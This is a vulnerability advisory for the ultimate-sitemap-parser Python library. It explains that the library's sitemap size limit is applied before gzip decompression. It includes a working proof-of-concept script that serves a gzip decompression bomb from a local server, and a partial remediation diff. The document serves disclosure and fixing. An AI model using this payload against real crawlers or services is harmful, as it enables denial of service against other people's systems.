Ultimate Sitemap Parser (USP): Gzip Decompression Bomb Bypasses Sitemap Size Limit
Gzip Decompression Bomb Bypasses Sitemap Size Limit
Summary
ultimate-sitemap-parser enforces a 100 MiB size limit on sitemap responses, but applies it only to the compressed bytes received over the network. When a .gz sitemap is fetched, usp/helpers.py:239 calls gzip_lib.decompress(data) with no output-size cap, allowing an attacker-controlled server to serve a small gzip-compressed payload (~549 KB) that expands to over 120 MiB in process memory. This completely bypasses the declared limit and can exhaust memory or crash any process that calls sitemap_tree_for_homepage() against an untrusted site.
Details
The library declares a maximum sitemap size constant in usp/fetch_parse.py:64:
```python
__MAX_SITEMAP_SIZE = 100 * 1024 * 1024 # Max. uncompressed sitemap size
```
Despite the comment saying "uncompressed", this value is passed directly to the HTTP client layer at usp/fetch_parse.py:130:
```python
web_client.set_max_response_data_length(self.__MAX_SITEMAP_SIZE)
```
The HTTP client (usp/web_client/requests_client.py:57-58) slices only the raw compressed response bytes:
```python
data = self.__requests_response.content[: self.__max_response_data_length]
```
The truncated (but still compressed) bytes are then passed through the pipeline to usp/fetch_parse.py:175:
```python
response_content = ungzipped_response_content(url=self._url, response=response)
```
Inside ungzipped_response_content (usp/helpers.py:265-267), when the URL ends in .gz or the response carries a gzip content type, decompression is triggered:
```python
if __response_is_gzipped_data(url=url, response=response):
data = gunzip(data)
```
The gunzip function (usp/helpers.py:239) decompresses without any output-size guard:
```python
gunzipped_data = gzip_lib.decompress(data)
```
No post-decompression size check exists anywhere in the call chain. Dynamic reproduction confirmed that 549,213 bytes of compressed input passed the 100 MiB gate check (compressed < limit → True) and then expanded to 125,829,234 bytes (120.0 MiB) in memory with no exception raised.
PoC
Environment setup:
```bash
# Clone the repository at the affected commit
git clone https://github.com/GateNLP/ultimate-sitemap-parser /tmp/usp-repo
cd /tmp/usp-repo
git checkout 182f4642f145230b68e7518e627883edd09168ca
# Build and run via Docker (memory-limited to 512 MiB)
docker build -t usp-vuln-002 -f vuln-002/Dockerfile /path/to/report-dir/
docker run --rm --memory=512m usp-vuln-002
```
Alternatively, run directly:
```bash
python -m venv /tmp/usp-poc
. /tmp/usp-poc/bin/activate
pip install ultimate-sitemap-parser==1.8.0
python3 poc.py
```
PoC script (poc.py) — abbreviated attack flow:
```python
import gzip, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from usp.tree import sitemap_tree_for_homepage
# Build a gzip bomb: 120 MB uncompressed, ~549 KB compressed
bomb_xml = (
b'<?xml version="1.0" encoding="UTF-8"?>'
b'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'
b'<!--' + b'B' * (120 * 1024 * 1024) + b'-->'
b'</urlset>'
)
compressed_bomb = gzip.compress(bomb_xml, compresslevel=1)
class BombHandler(BaseHTTPRequestHandler):
def do_GET(self):
port = self.server.server_address[1]
if self.path == "/robots.txt":
body = f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\n".encode()
self.send_response(200); self.end_headers(); self.wfile.write(body)
elif self.path == "/sitemap.xml.gz":
self.send_response(200)
self.send_header("Content-Type", "application/x-gzip")
self.end_headers(); self.wfile.write(compressed_bomb)
else:
self.send_response(404); self.end_headers()
def log_message(self, *a): pass
server = HTTPServer(("127.0.0.1", 0), BombHandler)
port = server.server_address[1]
threading.Thread(target=server.serve_forever, daemon=True).start()
sitemap_tree_for_homepage(f"http://127.0.0.1:{port}/", use_known_paths=False)
server.shutdown()
```
Expected output:
```
[INTERCEPT] gunzip() input=549,213 B output=125,829,234 B (120.0 MB)
[+] sitemap_tree_for_homepage() returned without exception
compressed=549,213 B < limit=104,857,600 B (passes gate)
decompressed=125,829,234 B > limit=104,857,600 B (no post-decompress check)
EXCEEDS LIMIT: True
[PASS] Decompression bomb bypassed the size limit.
```
The parser fetches /sitemap.xml.gz, passes the compressed-size gate check, decompresses 549 KB into 120 MiB in process memory, and returns normally without raising an exception.
Remediation:
```diff
--- a/usp/helpers.py
+++ b/usp/helpers.py
+import io
-def gunzip(data: bytes) -> bytes:
+def gunzip(data: bytes, max_output_bytes: int | None = None) -> bytes:
try:
- gunzipped_data = gzip_lib.decompress(data)
+ chunks, total = [], 0
+
